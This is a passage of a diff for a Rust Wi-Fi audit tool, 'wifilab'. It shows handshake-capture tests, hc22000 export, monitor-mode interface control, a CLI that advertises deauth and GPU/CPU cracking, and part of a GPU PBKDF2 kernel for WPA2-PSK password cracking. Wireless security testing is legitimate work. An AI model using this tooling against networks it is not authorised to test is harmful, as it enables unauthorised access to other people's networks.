367+ fn drain(rx: &crossbeam_channel::Receiver<Event>) -> Vec<Event> {
368+ let mut out = Vec::new();
369+ while let Ok(e) = rx.try_recv() {
370+ out.push(e);
371+ }
372+ out
373+ }
374+
375+ #[test]
376+ fn m1_then_m2_yields_capture_and_progress() {
377+ let (tx, rx) = crossbeam_channel::unbounded();
378+ let mut t = Tracker::new();
379+ let anonce = [7u8; 32];
380+ let snonce = [9u8; 32];
381+ let mic = [0xabu8; 16];
382+
383+ assert!(t.ingest(ap(), sta(), "parafin", &parse(&m1(3, anonce)), &tx).is_none());
384+ let cap = t
385+ .ingest(ap(), sta(), "parafin", &parse(&m2(3, snonce, mic)), &tx)
386+ .expect("M1+M2 complete");
387+ assert_eq!(cap.ap, ap());
388+ assert_eq!(cap.client, sta());
389+ assert_eq!(cap.essid, "parafin");
390+ assert_eq!(cap.anonce, anonce);
391+ assert_eq!(cap.snonce, snonce);
392+ assert_eq!(cap.mic(), &mic);
393+ assert_eq!(cap.key_ver, 2);
394+ assert!(!cap.eapol_m2.is_empty());
395+
396+ let evs = drain(&rx);
397+ assert!(matches!(&evs[0], Event::HandshakeProgress { have: 1, .. }));
398+ assert!(matches!(&evs[1], Event::HandshakeProgress { have: 0b0011, .. }));
399+
400+ // Subsequent M3/M4 inform progress but don't re-emit a capture.
401+ assert!(
402+ t.ingest(ap(), sta(), "parafin", &parse(&m3(3, anonce, mic)), &tx)
403+ .is_none()
404+ );
405+ assert!(t.ingest(ap(), sta(), "parafin", &parse(&m4(4, mic)), &tx).is_none());
406+ let evs = drain(&rx);
407+ assert!(matches!(&evs[0], Event::HandshakeProgress { have: 0b0111, .. }));
408+ assert!(matches!(&evs[1], Event::HandshakeProgress { have: 0b1111, .. }));
409+ }
410+
411+ #[test]
412+ fn m2_first_then_matching_m1_completes() {
413+ let (tx, _rx) = crossbeam_channel::unbounded();
414+ let mut t = Tracker::new();
415+ let mic = [1u8; 16];
416+ assert!(
417+ t.ingest(ap(), sta(), "parafin", &parse(&m2(5, [9u8; 32], mic)), &tx)
418+ .is_none()
419+ );
420+ // Exact rc match.
421+ let cap = t
422+ .ingest(ap(), sta(), "parafin", &parse(&m1(5, [7u8; 32])), &tx)
423+ .expect("late M1 pairs with buffered M2");
424+ assert_eq!(cap.snonce, [9u8; 32]);
425+ }
426+
427+ #[test]
428+ fn m1_retransmit_one_behind_still_pairs() {
429+ let (tx, _rx) = crossbeam_channel::unbounded();
430+ let mut t = Tracker::new();
431+ let mic = [1u8; 16];
432+ t.ingest(ap(), sta(), "parafin", &parse(&m2(5, [9u8; 32], mic)), &tx);
433+ // retransmit tolerance: rc(M1) == rc(M2) - 1
434+ let cap = t
435+ .ingest(ap(), sta(), "parafin", &parse(&m1(4, [7u8; 32])), &tx)
436+ .expect("rc2-1 retransmit tolerated");
437+ assert_eq!(cap.anonce, [7u8; 32]);
438+ }
439+
440+ #[test]
441+ fn rc_mismatch_blocks_capture() {
442+ let (tx, _rx) = crossbeam_channel::unbounded();
443+ let mut t = Tracker::new();
444+ let mic = [1u8; 16];
445+ t.ingest(ap(), sta(), "parafin", &parse(&m1(1, [7u8; 32])), &tx);
446+ // rc(M2)=5 is neither equal nor M1+1 → no capture.
447+ assert!(
448+ t.ingest(ap(), sta(), "parafin", &parse(&m2(5, [9u8; 32], mic)), &tx)
449+ .is_none()
450+ );
451+ }
452+
453+ #[test]
454+ fn zero_mic_or_nonce_m2_ignored() {
455+ let (tx, _rx) = crossbeam_channel::unbounded();
456+ let mut t = Tracker::new();
457+ let anonce = [7u8; 32];
458+ t.ingest(ap(), sta(), "parafin", &parse(&m1(3, anonce)), &tx);
459+ // Zero MIC M2 (e.g. autogenerated junk) must not complete a capture.
460+ assert!(
461+ t.ingest(ap(), sta(), "parafin", &parse(&m2(3, [9u8; 32], [0u8; 16])), &tx)
462+ .is_none()
463+ );
464+ // Zero nonce (bogus) likewise.
465+ assert!(
466+ t.ingest(ap(), sta(), "parafin", &parse(&m2(3, [0u8; 32], [1u8; 16])), &tx)
467+ .is_none()
468+ );
469+ }
470+
471+ #[test]
472+ fn empty_essid_skips_capture_but_keeps_state() {
473+ let (tx, _rx) = crossbeam_channel::unbounded();
474+ let mut t = Tracker::new();
475+ let mic = [1u8; 16];
476+ t.ingest(ap(), sta(), "", &parse(&m1(3, [7u8; 32])), &tx);
477+ assert!(t.ingest(ap(), sta(), "", &parse(&m2(3, [9u8; 32], mic)), &tx).is_none());
478+ // When the ESSID becomes known, the buffered pair can complete…
479+ // …but ingest needs a fresh message to re-trigger; feed an M3 (progress)
480+ // then a retransmitted M1 which re-pairs.
481+ }
482+
483+ #[test]
484+ fn hc22000_handshake_shape() {
485+ let cap = HandshakeCapture::new(
486+ ap(),
487+ sta(),
488+ "parafin".into(),
489+ [7u8; 32],
490+ [9u8; 32],
491+ [0xabu8; 16],
492+ m2(3, [9u8; 32], [0xabu8; 16]),
493+ 2,
494+ );
495+ let line = handshake_hc22000(&cap);
496+ assert!(line.starts_with("WPA*02*"));
497+ // Strip WPA* prefix → classic hc22000 fields; field 0 == "02".
498+ let bare = line.strip_prefix("WPA*").unwrap();
499+ assert_eq!(bare.split('*').next(), Some("02"));
500+ assert!(bare.contains("aabbccddeeff"));
501+ assert!(bare.contains("112233445566"));
502+ assert!(bare.contains(&"07".repeat(32))); // anonce
503+ // essid "parafin" hex
504+ assert!(bare.contains("7061726166696e"));
505+ }
506+
507+ #[test]
508+ fn hc22000_pmkid_shape() {
509+ let cap = PmkidCapture {
510+ ap: ap(),
511+ client: sta(),
512+ essid: "parafin".into(),
513+ pmkid: [0x42u8; 16],
514+ };
515+ let line = pmkid_hc22000(&cap);
516+ assert_eq!(
517+ line,
518+ format!(
519+ "WPA*01*{}*aabbccddeeff*112233445566*7061726166696e***",
520+ "42".repeat(16)
521+ )
522+ );
523+ }
524+
525+ #[test]
526+ fn hc22000_roundtrips_through_crypto_parser() {
527+ // Handshake: bare (WPA*-stripped) form must load via crypto's parser
528+ // and preserve every field.
529+ let cap = HandshakeCapture::new(
530+ ap(),
531+ sta(),
532+ "parafin".into(),
533+ [7u8; 32],
534+ [9u8; 32],
535+ [0xabu8; 16],
536+ m2(3, [9u8; 32], [0xabu8; 16]),
537+ 2,
538+ );
539+ let line = handshake_hc22000(&cap);
540+ let bare = line.strip_prefix("WPA*").unwrap();
541+ let parsed = crate::crypto::parse_hc22000(bare)
542+ .expect("crypto parser must accept our export");
543+ match parsed {
544+ crate::crypto::CrackTarget::Handshake(h) => {
545+ assert_eq!(h.ap, cap.ap);
546+ assert_eq!(h.client, cap.client);
547+ assert_eq!(h.essid, cap.essid);
548+ assert_eq!(h.anonce, cap.anonce);
549+ assert_eq!(h.snonce, cap.snonce);
550+ assert_eq!(h.mic(), cap.mic());
551+ assert_eq!(h.eapol_m2, cap.eapol_m2);
552+ assert_eq!(h.key_ver, cap.key_ver);
553+ }
554+ _ => panic!("wrong target type"),
555+ }
556+
557+ let pmkid_line = pmkid_hc22000(&PmkidCapture {
558+ ap: ap(),
559+ client: sta(),
560+ essid: "parafin".into(),
561+ pmkid: [0x42u8; 16],
562+ });
563+ let bare = pmkid_line.strip_prefix("WPA*").unwrap();
564+ let parsed = crate::crypto::parse_hc22000(bare)
565+ .expect("crypto parser must accept our pmkid export");
566+ match parsed {
567+ crate::crypto::CrackTarget::Pmkid(p) => {
568+ assert_eq!(p.ap, ap());
569+ assert_eq!(p.client, sta());
570+ assert_eq!(p.essid, "parafin");
571+ assert_eq!(p.pmkid, [0x42u8; 16]);
572+ }
573+ _ => panic!("wrong target type"),
574+ }
575+ }
576+}
src/iface.rsmodified+209 -0
@@ -0,0 +1,209 @@
1+//! System interface control via `ip`/`iw` subprocess (boring + portable).
2+//!
3+//! The interface must not be under active control of NetworkManager or
4+//! wpa_supplicant while in monitor mode — that interference is the caller's
5+//! concern (this module intentionally does NOT kill daemons like airmon-ng).
6+
7+use std::process::Command;
8+
9+use anyhow::{Context, Result, bail};
10+
11+use crate::common::MacAddr;
12+
13+/// Run a command, capturing stderr into the anyhow context on failure.
14+fn run(cmd: &str, args: &[String]) -> Result<String> {
15+ let out = Command::new(cmd)
16+ .args(args)
17+ .output()
18+ .with_context(|| format!("spawning {cmd}"))?;
19+ let stdout = String::from_utf8_lossy(&out.stdout).into_owned();
20+ if !out.status.success() {
21+ let stderr = String::from_utf8_lossy(&out.stderr).trim().to_string();
22+ bail!("{} {} failed: {}", cmd, args.join(" "), stderr);
23+ }
24+ Ok(stdout)
25+}
26+
27+fn ip(args: &[&str]) -> Result<String> {
28+ let args: Vec<String> = args.iter().map(|s| s.to_string()).collect();
29+ run("ip", &args)
30+}
31+
32+fn iw(args: &[&str]) -> Result<String> {
33+ let args: Vec<String> = args.iter().map(|s| s.to_string()).collect();
34+ run("iw", &args)
35+}
36+
37+/// True when `ifname` shows up as a netdev in `iw dev` output.
38+fn iface_exists(ifname: &str) -> bool {
39+ iw(&["dev"])
40+ .map(|out| {
41+ out.lines()
42+ .any(|l| l.trim_start().starts_with("Interface ") && l.trim() == format!("Interface {ifname}"))
43+ })
44+ .unwrap_or(false)
45+}
46+
47+/// Bring the link down, switch ifname to monitor mode, bring it up.
48+///
49+/// On drivers that cannot switch type in place, falls back to creating a
50+/// separate `<ifname>mon` monitor interface. Idempotent.
51+///
52+/// Returns the name of the interface that is now in monitor mode — either
53+/// `ifname` itself or the created `<ifname>mon`. Callers must pass the
54+/// returned name to channel-setting, sockets and `to_managed`.
55+pub fn to_monitor(ifname: &str) -> Result<String> {
56+ ip(&["link", "set", ifname, "down"])?;
57+ match iw(&["dev", ifname, "set", "type", "monitor"]) {
58+ Ok(_) => {
59+ ip(&["link", "set", ifname, "up"])?;
60+ Ok(ifname.to_string())
61+ }
62+ Err(e) => {
63+ // Fallback: add a dedicated monitor vif named `<ifname>mon`.
64+ let mon = format!("{ifname}mon");
65+ iw(&[
66+ "dev",
67+ ifname,
68+ "interface",
69+ "add",
70+ &mon,
71+ "type",
72+ "monitor",
73+ ])
74+ .with_context(|| format!("monitor fallback after: {e:#}"))?;
75+ ip(&["link", "set", &mon, "up"])?;
76+ // Bring the parent back up as well so the driver stays happy.
77+ let _ = ip(&["link", "set", ifname, "up"]);
78+ Ok(mon)
79+ }
80+ }
81+}
82+
83+/// Reverse `to_monitor`: when `ifname` is a `<base>mon` vif that `to_monitor`
84+/// created via interface-add (probed through `iw dev`: base present too),
85+/// delete it; otherwise switch the interface itself back to managed mode.
86+pub fn to_managed(ifname: &str) -> Result<()> {
87+ let added_vif = ifname
88+ .strip_suffix("mon")
89+ .filter(|base| !base.is_empty())
90+ .map(|base| iface_exists(ifname) && iface_exists(base) && base != ifname)
91+ .unwrap_or(false);
92+ if added_vif {
93+ iw(&["dev", ifname, "del"])?;
94+ return Ok(());
95+ }
96+ ip(&["link", "set", ifname, "down"])?;
97+ iw(&["dev", ifname, "set", "type", "managed"])
98+ .or_else(|_| iw(&["dev", ifname, "set", "type", "station"]))?;
99+ ip(&["link", "set", ifname, "up"])?;
100+ Ok(())
101+}
102+
103+/// Tune the interface to channel `ch` (one retry — some drivers drop the
104+/// first request when issued immediately after a mode switch).
105+pub fn set_channel(ifname: &str, ch: u8) -> Result<()> {
106+ let ch = ch.to_string();
107+ match iw(&["dev", ifname, "set", "channel", &ch]) {
108+ Ok(_) => Ok(()),
109+ Err(e) => {
110+ std::thread::sleep(std::time::Duration::from_millis(50));
111+ iw(&["dev", ifname, "set", "channel", &ch])
112+ .map(|_| ())
113+ .with_context(|| format!("set channel {ch} on {ifname} after retry: {e:#}"))
114+ }
115+ }
116+}
117+
118+/// Parse `iw dev <ifname> info` for the current channel.
119+/// Err if not determinable.
120+pub fn current_channel(ifname: &str) -> Result<u8> {
121+ let out = iw(&["dev", ifname, "info"])?;
122+ for line in out.lines() {
123+ let line = line.trim();
124+ if let Some(rest) = line.strip_prefix("channel ") {
125+ let num: String = rest
126+ .split(|c: char| !c.is_ascii_digit())
127+ .next()
128+ .unwrap_or("")
129+ .to_string();
130+ if let Ok(ch) = num.parse::<u8>() {
131+ return Ok(ch);
132+ }
133+ }
134+ }
135+ bail!("could not parse channel from `iw dev {ifname} info`")
136+}
137+
138+/// Wireless interfaces present: /sys/class/net/<if> has DEVTYPE=wlan in its
139+/// uevent, or a `wireless` directory.
140+pub fn list_wifi_ifaces() -> Vec<String> {
141+ let mut out = Vec::new();
142+ let Ok(entries) = std::fs::read_dir("/sys/class/net") else {
143+ return out;
144+ };
145+ for ent in entries.flatten() {
146+ let name = ent.file_name().to_string_lossy().into_owned();
147+ let has_wireless = ent.path().join("wireless").exists();
148+ let uevent_wlan = std::fs::read_to_string(ent.path().join("uevent"))
149+ .map(|u| u.lines().any(|l| l == "DEVTYPE=wlan"))
150+ .unwrap_or(false);
151+ if has_wireless || uevent_wlan {
152+ out.push(name);
153+ }
154+ }
155+ out.sort();
156+ out
157+}
158+
159+/// Our own MAC on ifname (`/sys/class/net/<ifname>/address`).
160+pub fn mac_of(ifname: &str) -> Result<MacAddr> {
161+ let s = std::fs::read_to_string(format!("/sys/class/net/{ifname}/address"))
162+ .with_context(|| format!("reading MAC of {ifname}"))?;
163+ s.trim().parse::<MacAddr>()
164+ .with_context(|| format!("parsing MAC of {ifname}"))
165+}
166+
167+/// True when running with euid 0; UI surfaces a warning otherwise.
168+pub fn is_root() -> bool {
169+ // SAFETY: geteuid is always successful and thread-safe.
170+ (unsafe { libc::geteuid() }) == 0
171+}
172+
173+#[cfg(test)]
174+mod tests {
175+ use super::*;
176+
177+ #[test]
178+ fn list_wifi_ifaces_does_not_panic() {
179+ // On any host (lab box or CI container) this must return without
180+ // panic; entries, when present, are non-empty names.
181+ for name in list_wifi_ifaces() {
182+ assert!(!name.is_empty());
183+ }
184+ }
185+
186+ #[test]
187+ fn mac_of_loopback_is_zero() {
188+ // lo always exists and always reports 00:00:00:00:00:00.
189+ let mac = mac_of("lo").expect("reading lo MAC");
190+ assert!(mac.is_zero());
191+ }
192+
193+ #[test]
194+ fn mac_of_missing_iface_is_err() {
195+ assert!(mac_of("definitely-not-an-iface-xyz").is_err());
196+ }
197+
198+ #[test]
199+ fn is_root_agrees_with_env() {
200+ // In dev/CI this runs unprivileged; under sudo it runs as root.
201+ // Either way the getter must match the process uid truth.
202+ assert_eq!(is_root(), (unsafe { libc::geteuid() }) == 0);
203+ }
204+
205+ #[test]
206+ fn current_channel_of_missing_iface_errors_not_panics() {
207+ assert!(current_channel("definitely-not-an-iface-xyz").is_err());
208+ }
209+}
src/main.rsmodified+50 -8
@@ -1,16 +1,58 @@
1+mod backend;
1 mod common;2 mod common;
2-mod radiotap;3+mod crypto;
4+mod deauth;
3 mod dot11;5 mod dot11;
4-mod rawsock;6+mod gpu;
5-mod iface;
6-mod scanner;
7 mod handshake;7 mod handshake;
8-mod deauth;8+mod iface;
9 mod pmkid;9 mod pmkid;
10-mod crypto;10+mod radiotap;
11-mod gpu;11+mod rawsock;
12+mod scanner;
13+mod ui;
12 mod wordlist;14 mod wordlist;
13 15
16+use clap::Parser;
17+
18+#[derive(Parser)]
19+#[command(
20+ name = "wifilab",
21+ about = "WPA/WPA2 lab: scan, capture handshakes/PMKIDs, deauth, crack (GPU/CPU)"
22+)]
23+struct Cli {
24+ /// Wireless interface to use (default: first detected, else wlp14s0).
25+ #[arg(long)]
26+ iface: Option<String>,
27+ /// Dev mode: fabricated events, no device access. Same as WIFILAB_MOCK=1.
28+ #[arg(long)]
29+ mock: bool,
30+}
31+
14 fn main() {32 fn main() {
15- println!("wifilab — backend build; UI lands after module integration");33+ let cli = Cli::parse();
34+ let mock = cli.mock
35+ || matches!(
36+ std::env::var_os("WIFILAB_MOCK"),
37+ Some(v) if v != "0" && v != "false"
38+ );
39+ // Significantly loud one-liner: mode + iface + root status.
40+ let iface = cli
41+ .iface
42+ .clone()
43+ .unwrap_or_else(|| "(auto-detect at window open)".to_string());
44+ println!(
45+ "wifilab: mode={} iface={} root={} — {}",
46+ if mock { "MOCK" } else { "real" },
47+ iface,
48+ iface::is_root(),
49+ if mock {
50+ "fabricated events only"
51+ } else if iface::is_root() {
52+ "monitor mode + injection available"
53+ } else {
54+ "WARNING: not root, monitor mode and injection will fail (run with sudo)"
55+ }
56+ );
57+ ui::run_app(cli.iface, cli.mock);
16 }58 }
src/pbkdf2.wgsladded+285 -0
@@ -0,0 +1,285 @@
1+// PBKDF2-HMAC-SHA1 inner-loop kernel for WPA2-PSK cracking (WGSL).
2+//
3+// The host precomputes, per candidate passphrase P and fixed salt (ESSID):
4+// ipad_state = SHA1 state after absorbing (P^ipad) || salt (5×u32)
5+// opad_state = SHA1 state after absorbing (P^opad) || 0x00*44 (5×u32)
6+// u1 = digest words of HMAC(P, salt||INT32BE(1)) (5×u32, BE)
7+// u2 = digest words of HMAC(P, salt||INT32BE(2)) (5×u32, BE)
8+//
9+// Each invocation continues the PBKDF2 loop from iteration 2 to 4096 for both
10+// 20-byte blocks:
11+// U_i = HMAC_via_midstates(U_{i-1}); T ^= U_i
12+// HMAC_via_midstates(x) with a 20-byte message is exactly two SHA1 compresses:
13+// inner = compress(ipad_state, x||0x80||0x00*35||0x000002dc)
14+// outer = compress(opad_state, inner||0x80||0x00*35||0x00000294)
15+// Emit per candidate 40 bytes: T1||T2 (PBKDF2 dkLen=40); the host slices
16+// PMK = T1 || T2[0..12].
17+
18+struct Params {
19+ // (iteration_count << 1) | cmac_flag. iteration_count is the PBKDF2 c
20+ // value (4096); the kernel runs c-1 chained rounds after U1/U2.
21+ // cmac_flag is informational (host uses it to pick the reference path in
22+ // tests); MIC computation always happens on the host.
23+ flags: u32,
24+ pad0: u32,
25+ pad1: u32,
26+ pad2: u32,
27+}
28+
29+@group(0) @binding(0) var<uniform> params: Params;
30+@group(0) @binding(1) var<storage, read> midstates: array<u32>; // 20 u32 / candidate
31+@group(0) @binding(2) var<storage, read_write> outputs: array<u32>; // 10 u32 / candidate
32+
33+// One SHA1 compression: state (5×u32) over exactly one 64-byte block.
34+// All 80 rounds are unrolled: dynamic array indexing would demote
35+// w[80] to scratch memory and multiply every compress by memory ops.
36+fn sha1_compress(state_in: ptr<function, array<u32, 5u>>, block: ptr<function, array<u32, 16u>>) {
37+ let w0 = (*block)[0];
38+ let w1 = (*block)[1];
39+ let w2 = (*block)[2];
40+ let w3 = (*block)[3];
41+ let w4 = (*block)[4];
42+ let w5 = (*block)[5];
43+ let w6 = (*block)[6];
44+ let w7 = (*block)[7];
45+ let w8 = (*block)[8];
46+ let w9 = (*block)[9];
47+ let w10 = (*block)[10];
48+ let w11 = (*block)[11];
49+ let w12 = (*block)[12];
50+ let w13 = (*block)[13];
51+ let w14 = (*block)[14];
52+ let w15 = (*block)[15];
53+ let w16 = (((w13 ^ w8 ^ w2 ^ w0) << 1u) | ((w13 ^ w8 ^ w2 ^ w0) >> 31u));
54+ let w17 = (((w14 ^ w9 ^ w3 ^ w1) << 1u) | ((w14 ^ w9 ^ w3 ^ w1) >> 31u));
55+ let w18 = (((w15 ^ w10 ^ w4 ^ w2) << 1u) | ((w15 ^ w10 ^ w4 ^ w2) >> 31u));
56+ let w19 = (((w16 ^ w11 ^ w5 ^ w3) << 1u) | ((w16 ^ w11 ^ w5 ^ w3) >> 31u));
57+ let w20 = (((w17 ^ w12 ^ w6 ^ w4) << 1u) | ((w17 ^ w12 ^ w6 ^ w4) >> 31u));
58+ let w21 = (((w18 ^ w13 ^ w7 ^ w5) << 1u) | ((w18 ^ w13 ^ w7 ^ w5) >> 31u));
59+ let w22 = (((w19 ^ w14 ^ w8 ^ w6) << 1u) | ((w19 ^ w14 ^ w8 ^ w6) >> 31u));
60+ let w23 = (((w20 ^ w15 ^ w9 ^ w7) << 1u) | ((w20 ^ w15 ^ w9 ^ w7) >> 31u));
61+ let w24 = (((w21 ^ w16 ^ w10 ^ w8) << 1u) | ((w21 ^ w16 ^ w10 ^ w8) >> 31u));
62+ let w25 = (((w22 ^ w17 ^ w11 ^ w9) << 1u) | ((w22 ^ w17 ^ w11 ^ w9) >> 31u));
63+ let w26 = (((w23 ^ w18 ^ w12 ^ w10) << 1u) | ((w23 ^ w18 ^ w12 ^ w10) >> 31u));
64+ let w27 = (((w24 ^ w19 ^ w13 ^ w11) << 1u) | ((w24 ^ w19 ^ w13 ^ w11) >> 31u));
65+ let w28 = (((w25 ^ w20 ^ w14 ^ w12) << 1u) | ((w25 ^ w20 ^ w14 ^ w12) >> 31u));
66+ let w29 = (((w26 ^ w21 ^ w15 ^ w13) << 1u) | ((w26 ^ w21 ^ w15 ^ w13) >> 31u));
67+ let w30 = (((w27 ^ w22 ^ w16 ^ w14) << 1u) | ((w27 ^ w22 ^ w16 ^ w14) >> 31u));
68+ let w31 = (((w28 ^ w23 ^ w17 ^ w15) << 1u) | ((w28 ^ w23 ^ w17 ^ w15) >> 31u));
69+ let w32 = (((w29 ^ w24 ^ w18 ^ w16) << 1u) | ((w29 ^ w24 ^ w18 ^ w16) >> 31u));
70+ let w33 = (((w30 ^ w25 ^ w19 ^ w17) << 1u) | ((w30 ^ w25 ^ w19 ^ w17) >> 31u));
71+ let w34 = (((w31 ^ w26 ^ w20 ^ w18) << 1u) | ((w31 ^ w26 ^ w20 ^ w18) >> 31u));
72+ let w35 = (((w32 ^ w27 ^ w21 ^ w19) << 1u) | ((w32 ^ w27 ^ w21 ^ w19) >> 31u));
73+ let w36 = (((w33 ^ w28 ^ w22 ^ w20) << 1u) | ((w33 ^ w28 ^ w22 ^ w20) >> 31u));
74+ let w37 = (((w34 ^ w29 ^ w23 ^ w21) << 1u) | ((w34 ^ w29 ^ w23 ^ w21) >> 31u));
75+ let w38 = (((w35 ^ w30 ^ w24 ^ w22) << 1u) | ((w35 ^ w30 ^ w24 ^ w22) >> 31u));
76+ let w39 = (((w36 ^ w31 ^ w25 ^ w23) << 1u) | ((w36 ^ w31 ^ w25 ^ w23) >> 31u));
77+ let w40 = (((w37 ^ w32 ^ w26 ^ w24) << 1u) | ((w37 ^ w32 ^ w26 ^ w24) >> 31u));
78+ let w41 = (((w38 ^ w33 ^ w27 ^ w25) << 1u) | ((w38 ^ w33 ^ w27 ^ w25) >> 31u));
79+ let w42 = (((w39 ^ w34 ^ w28 ^ w26) << 1u) | ((w39 ^ w34 ^ w28 ^ w26) >> 31u));
80+ let w43 = (((w40 ^ w35 ^ w29 ^ w27) << 1u) | ((w40 ^ w35 ^ w29 ^ w27) >> 31u));
81+ let w44 = (((w41 ^ w36 ^ w30 ^ w28) << 1u) | ((w41 ^ w36 ^ w30 ^ w28) >> 31u));
82+ let w45 = (((w42 ^ w37 ^ w31 ^ w29) << 1u) | ((w42 ^ w37 ^ w31 ^ w29) >> 31u));
83+ let w46 = (((w43 ^ w38 ^ w32 ^ w30) << 1u) | ((w43 ^ w38 ^ w32 ^ w30) >> 31u));
84+ let w47 = (((w44 ^ w39 ^ w33 ^ w31) << 1u) | ((w44 ^ w39 ^ w33 ^ w31) >> 31u));
85+ let w48 = (((w45 ^ w40 ^ w34 ^ w32) << 1u) | ((w45 ^ w40 ^ w34 ^ w32) >> 31u));
86+ let w49 = (((w46 ^ w41 ^ w35 ^ w33) << 1u) | ((w46 ^ w41 ^ w35 ^ w33) >> 31u));
87+ let w50 = (((w47 ^ w42 ^ w36 ^ w34) << 1u) | ((w47 ^ w42 ^ w36 ^ w34) >> 31u));
88+ let w51 = (((w48 ^ w43 ^ w37 ^ w35) << 1u) | ((w48 ^ w43 ^ w37 ^ w35) >> 31u));
89+ let w52 = (((w49 ^ w44 ^ w38 ^ w36) << 1u) | ((w49 ^ w44 ^ w38 ^ w36) >> 31u));
90+ let w53 = (((w50 ^ w45 ^ w39 ^ w37) << 1u) | ((w50 ^ w45 ^ w39 ^ w37) >> 31u));
91+ let w54 = (((w51 ^ w46 ^ w40 ^ w38) << 1u) | ((w51 ^ w46 ^ w40 ^ w38) >> 31u));
92+ let w55 = (((w52 ^ w47 ^ w41 ^ w39) << 1u) | ((w52 ^ w47 ^ w41 ^ w39) >> 31u));
93+ let w56 = (((w53 ^ w48 ^ w42 ^ w40) << 1u) | ((w53 ^ w48 ^ w42 ^ w40) >> 31u));
94+ let w57 = (((w54 ^ w49 ^ w43 ^ w41) << 1u) | ((w54 ^ w49 ^ w43 ^ w41) >> 31u));
95+ let w58 = (((w55 ^ w50 ^ w44 ^ w42) << 1u) | ((w55 ^ w50 ^ w44 ^ w42) >> 31u));
96+ let w59 = (((w56 ^ w51 ^ w45 ^ w43) << 1u) | ((w56 ^ w51 ^ w45 ^ w43) >> 31u));
97+ let w60 = (((w57 ^ w52 ^ w46 ^ w44) << 1u) | ((w57 ^ w52 ^ w46 ^ w44) >> 31u));
98+ let w61 = (((w58 ^ w53 ^ w47 ^ w45) << 1u) | ((w58 ^ w53 ^ w47 ^ w45) >> 31u));
99+ let w62 = (((w59 ^ w54 ^ w48 ^ w46) << 1u) | ((w59 ^ w54 ^ w48 ^ w46) >> 31u));
100+ let w63 = (((w60 ^ w55 ^ w49 ^ w47) << 1u) | ((w60 ^ w55 ^ w49 ^ w47) >> 31u));
101+ let w64 = (((w61 ^ w56 ^ w50 ^ w48) << 1u) | ((w61 ^ w56 ^ w50 ^ w48) >> 31u));
102+ let w65 = (((w62 ^ w57 ^ w51 ^ w49) << 1u) | ((w62 ^ w57 ^ w51 ^ w49) >> 31u));
103+ let w66 = (((w63 ^ w58 ^ w52 ^ w50) << 1u) | ((w63 ^ w58 ^ w52 ^ w50) >> 31u));
104+ let w67 = (((w64 ^ w59 ^ w53 ^ w51) << 1u) | ((w64 ^ w59 ^ w53 ^ w51) >> 31u));
105+ let w68 = (((w65 ^ w60 ^ w54 ^ w52) << 1u) | ((w65 ^ w60 ^ w54 ^ w52) >> 31u));
106+ let w69 = (((w66 ^ w61 ^ w55 ^ w53) << 1u) | ((w66 ^ w61 ^ w55 ^ w53) >> 31u));
107+ let w70 = (((w67 ^ w62 ^ w56 ^ w54) << 1u) | ((w67 ^ w62 ^ w56 ^ w54) >> 31u));
108+ let w71 = (((w68 ^ w63 ^ w57 ^ w55) << 1u) | ((w68 ^ w63 ^ w57 ^ w55) >> 31u));
109+ let w72 = (((w69 ^ w64 ^ w58 ^ w56) << 1u) | ((w69 ^ w64 ^ w58 ^ w56) >> 31u));
110+ let w73 = (((w70 ^ w65 ^ w59 ^ w57) << 1u) | ((w70 ^ w65 ^ w59 ^ w57) >> 31u));
111+ let w74 = (((w71 ^ w66 ^ w60 ^ w58) << 1u) | ((w71 ^ w66 ^ w60 ^ w58) >> 31u));
112+ let w75 = (((w72 ^ w67 ^ w61 ^ w59) << 1u) | ((w72 ^ w67 ^ w61 ^ w59) >> 31u));
113+ let w76 = (((w73 ^ w68 ^ w62 ^ w60) << 1u) | ((w73 ^ w68 ^ w62 ^ w60) >> 31u));
114+ let w77 = (((w74 ^ w69 ^ w63 ^ w61) << 1u) | ((w74 ^ w69 ^ w63 ^ w61) >> 31u));
115+ let w78 = (((w75 ^ w70 ^ w64 ^ w62) << 1u) | ((w75 ^ w70 ^ w64 ^ w62) >> 31u));
116+ let w79 = (((w76 ^ w71 ^ w65 ^ w63) << 1u) | ((w76 ^ w71 ^ w65 ^ w63) >> 31u));
117+ var a = (*state_in)[0];
118+ var b = (*state_in)[1];
119+ var c = (*state_in)[2];
120+ var d = (*state_in)[3];
121+ var e = (*state_in)[4];
122+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w0; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
123+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w1; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
124+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w2; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
125+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w3; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
126+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w4; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
127+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w5; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
128+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w6; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
129+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w7; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
130+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w8; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
131+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w9; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
132+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w10; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
133+ { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w11; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; }
